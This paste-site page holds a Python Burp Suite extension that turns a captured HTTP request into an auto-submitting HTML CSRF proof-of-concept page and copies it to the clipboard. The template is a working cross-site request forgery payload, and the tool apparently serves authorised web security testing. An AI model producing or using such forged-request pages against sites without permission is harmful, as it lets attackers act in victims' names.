howmuch515 icon

csrf_poc_generator.py

howmuch515 | PRO | 09/06/19 04:22:55 PM UTC | 0 ⭐ | 335 👁️ | Never ⏰ | []
Python |

2.87 KB

|

None

|

0 👍

/

0 👎

from burp import IBurpExtender, IRequestInfo, IContextMenuFactory
from java.io import PrintWriter
from java.lang import RuntimeException
from javax.swing import JMenu, JMenuItem
from java.awt import Toolkit
from java.awt.datatransfer import Clipboard
from java.awt.datatransfer import StringSelection
 
 
class BurpExtender(IBurpExtender, IRequestInfo, IContextMenuFactory):
    def registerExtenderCallbacks(self, callbacks):
        self._actionName = "PoC generator"
        self._helers = callbacks.getHelpers()
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("PoC generator")
        callbacks.registerContextMenuFactory(self)
 
        # obtain our output and error streams
        self._stdout = PrintWriter(callbacks.getStdout(), True)
        self._stderr = PrintWriter(callbacks.getStderr(), True)
 
        # write a message to the Burp alerts tab
        callbacks.issueAlert("Installed PoC generator")
 
    def createMenuItems(self, invocation):
        menu = JMenu(self._actionName)
        responses = invocation.getSelectedMessages()
        if len(responses) == 1:
            menu.add(
                JMenuItem(
                    "CSRF",
                    None,
                    actionPerformed=lambda x, inv=invocation: self.Action(inv),
                )
            )
            return [menu]
 
    def Action(self, invocation):
        try:
            http_traffic = invocation.getSelectedMessages()
            req = http_traffic.pop()
            analyzedRequest = self._helpers.analyzeRequest(req)
            url = analyzedRequest.getUrl()
            method = analyzedRequest.getMethod()
            params = analyzedRequest.getParameters()
 
            # generate PoC
            poc_html = self.generatePoc(url, method, params)
 
            # copy to clipboard
            kit = Toolkit.getDefaultToolkit()
            clip = kit.getSystemClipboard()
 
            ss = StringSelection(poc_html)
            clip.setContents(ss, None)
 
        except Exception as e:
            self._stderr.println(e)
 
    def generatePoc(self, url, method, params):
        try:
            param_tags = ""
            for p in params:
                param_tags += '<input type=hidden name="{}" value="{}" />\n'.format(
                    p.getName(), p.getValue()
                )
            html_template = """
<html>
    <body>
        <form action="{url}" method="{method}">
            {param_tags}
            <input type="submit" name="poc_auto_submit"/>
        </form>
        <script>document.forms[0].poc_auto_submit.click()</script>
    </body>
 </html>
            """.format(
                url=url, method=method, param_tags=param_tags
            )
 
        except Exception as e:
            self._stderr.println(e)
 
        return html_template

Comments